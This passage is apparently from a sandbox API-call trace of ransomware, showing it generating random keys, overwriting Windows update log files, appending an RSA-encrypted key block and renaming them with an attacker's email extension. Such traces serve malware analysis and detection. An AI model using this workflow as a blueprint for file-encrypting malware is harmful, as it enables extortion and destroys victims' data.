pszString="vvayLuDTwEmH9ZLQbDnHry8SZxm1WOT5QKMwychNxDbeC5T6U0uU76jNiTBcQZ6T\n2wWpczVXxa2GVtpFqZUWThiJKM4FjCEkR+FQ2UyUb8jmwcRGBKlwum5zibPawq6G\ns+cLyk5FTKUNE2Fsp6zaskPR9ii1sFLgO6h0RIOGukclcUlwyK2tUGv0IqFdqGWh\nSjn5HrO6yiZIManr+au0KWnLSb5FHSRMUnzlqWzk7EhA6gQ7woe/7VXkqJPwtpTV\no7JFV3Ye59iOftBzYECUvJK+s5cG6UYUNrVDbTw4KWb7aK5uM6fG+ccdIWvT62I6\nBByEaJj2tgi9+VDWnc/yrQ==\n", pcchString=0x2e3f9a8) returned 1 [0153.940] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.940] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.940] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.940] CloseHandle (hObject=0x694) returned 1 [0153.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.940] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.006.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.006.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6100d0 | out: hHeap=0x570000) returned 1 [0153.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc990 | out: hHeap=0x570000) returned 1 [0153.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652e28 | out: hHeap=0x570000) returned 1 [0153.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0153.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653548 [0153.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc990 [0153.943] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.943] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl", dwFileAttributes=0x80) returned 1 [0153.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6535e0 [0153.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60fa78 [0153.943] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6535e0 | out: hHeap=0x570000) returned 1 [0153.943] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.005.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.943] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4096) returned 1 [0153.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x64f9b0 [0153.943] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x64b990 [0153.943] ReadFile (in: hFile=0x694, lpBuffer=0x64f9b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x64f9b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1000, lpOverlapped=0x0) returned 1 [0153.944] SetFilePointer (in: hFile=0x694, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.945] WriteFile (in: hFile=0x694, lpBuffer=0x64b990*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x64b990*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1000, lpOverlapped=0x0) returned 1 [0153.945] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x64f9b0 | out: hHeap=0x570000) returned 1 [0153.945] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x64b990 | out: hHeap=0x570000) returned 1 [0153.945] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1000 [0153.945] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.945] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.945] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.945] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.945] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.945] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="og0JpOJ/2HF0gv5kT2spqp8Xa159JFqZhTXstKYQU5Siqj2YrWz3ZLdUa7yJ2LlZ\n/0q1fH5zKLtDviB2aptpzpIlN/no+ZkOP/eA3dXR/zQYCuSAs/M1k2PvwYU595RU\n5k4nNofayFsB90ySNcMVS7RjtSt6EhIjovQOFGanHoJ7HqB0Vnl7Ri2hmkR7MZfK\nPEDUvB2af6E7rdnqOu1xUDbafdSjpaHIxJCebaaeouxcXk6elcV6idEN3xIAxPak\nvFyTQEQnqy4GjDq8UPeqBBpzfZ23wb5oWhdNtaoxc7tONxO92dgTk9i8QkeWkdUq\nP64Npl7tRQ2xv5q5tdnnnQ==\n", pcchString=0x2e3f9a8) returned 1 [0153.945] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.945] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.945] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.945] CloseHandle (hObject=0x694) returned 1 [0153.946] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.946] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.005.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.005.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.947] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60fa78 | out: hHeap=0x570000) returned 1 [0153.947] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc990 | out: hHeap=0x570000) returned 1 [0153.947] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653548 | out: hHeap=0x570000) returned 1 [0153.947] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a37b8 | out: hHeap=0x570000) returned 1 [0153.947] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652f58 [0153.947] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0153.947] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.947] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl", dwFileAttributes=0x80) returned 1 [0153.947] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652c60 [0153.947] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610728 [0153.947] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652c60 | out: hHeap=0x570000) returned 1 [0153.947] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.004.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.948] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12288) returned 1 [0153.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6538b0 [0153.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6568b8 [0153.948] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.949] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.949] WriteFile (in: hFile=0x694, lpBuffer=0x6568b8*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6568b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.949] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.949] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6568b8 | out: hHeap=0x570000) returned 1 [0153.949] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3000 [0153.949] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.949] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.949] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.949] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.949] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.950] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.950] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="s5k8Hb1eG8Pe7VO4RXhpfC3WzTJS8UepcqD/e2qdYSSAyFd9KGOdeVbCIKhQ4HjK\nnDfViUAdsMIpNqV1WrrohDoA224lmnoFDGb4xi3Tj8t0ODIYLfKyNfcA/hOdRvFx\n+q4uNyqlgNrVOowklyj+I4YeHF0+qOZ4c0JhcqLgHGuBSz7xZU8kXlmsb47Rdoox\nrQ4RUDu5j81g/h4I5KjcWoCY5rQhys4xI5saKOPPHimwjuZml4Q29jT29rYWNgL+\nuYqn4eJM/juv/rLTs6+j0cQqC/5fITlnq8P0fmjie27YBzExxflHTK+jajFhbJ2c\nDpa4CaUBq85nMnE/yRV1sA==\n", pcchString=0x2e3f9a8) returned 1 [0153.950] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.950] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.950] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.950] CloseHandle (hObject=0x694) returned 1 [0153.950] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.950] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.004.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.004.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.951] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610728 | out: hHeap=0x570000) returned 1 [0153.951] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0153.951] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652f58 | out: hHeap=0x570000) returned 1 [0153.951] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0153.951] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652f58 [0153.951] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0153.951] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.951] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl", dwFileAttributes=0x80) returned 1 [0153.952] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652968 [0153.952] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6101b8 [0153.952] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652968 | out: hHeap=0x570000) returned 1 [0153.952] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.003.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.952] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.952] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.952] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.952] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.958] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.958] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.958] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.958] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.958] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.958] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.958] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.959] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.959] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.959] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="s6U0+GtEpIa3X7J9X2575QQtfK5RBts325sqJBcg+2eiZIlWEjoTKTFBfXeeccgJ\nkMKOXVmksH7AG++u4EeaOY45d2cMni2WbxP74xm20FJMCtpoe/QUXUyGYRW7u4r5\nEYAbDaBgkXYfxkgU2DA0ItjM5Kmp93PbQoqKHT36+r9pPpr5ToCgktiWUIJ245pF\nuIUmhzmaNgTlGzxC8HPIJ4U0mnz8cAAfckM3xcdLtRFgqNyCWNv8Y8/4nnL5d/bI\nACX+AA1kS8Ebkf+pKyJUaDEdVBQhptM+N9jFnMr83x5GMXjVpd15d/oOJHqkaUle\nYIdQ5s7FHTwO8GhPfqsqIw==\n", pcchString=0x2e3f9a8) returned 1 [0153.959] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.959] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.959] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.959] CloseHandle (hObject=0x694) returned 1 [0153.959] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.959] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.003.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.003.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6101b8 | out: hHeap=0x570000) returned 1 [0153.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0153.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652f58 | out: hHeap=0x570000) returned 1 [0153.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0153.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6534b0 [0153.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0153.961] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.961] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl", dwFileAttributes=0x80) returned 1 [0153.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652d90 [0153.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6102a0 [0153.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652d90 | out: hHeap=0x570000) returned 1 [0153.961] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.961] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.961] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.061] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.061] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.062] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.062] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.062] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.062] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.062] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.062] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.062] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="pTKSEmfOq0dmRNHPhBsgvzcwWCQNq3OkFBeVpTis7OfhDoIfCQgMFgWSHRjcGCeC\nKn21TeMMeOfKcjiyxpcBkXQUSse057DM3tasQMn2W/u9DeFHl2SqIc7jiNIRab3A\nBTd7/mB0SsFhS1KthUbwsfxzd3nddzGkae2ghKVB/oRJ8igiggE4SyPMD0QMa0LW\njdokBE95nmnugGQRxXCfxb6EiqVMh1tHH15zvwMVGgKzBPD8OhMmvNig2yjcY+VB\nEZrEIhIHMp7bA+9vIqkP+t2ctJDPlxmmS309D5yBmfiGcqVHSOJGiUYFGqXnRaeR\nx5nO7J4P2YbxBOiIZAOwtw==\n", pcchString=0x2e3f9a8) returned 1 [0154.062] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.062] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.062] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.062] CloseHandle (hObject=0x694) returned 1 [0154.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.063] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.002.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all 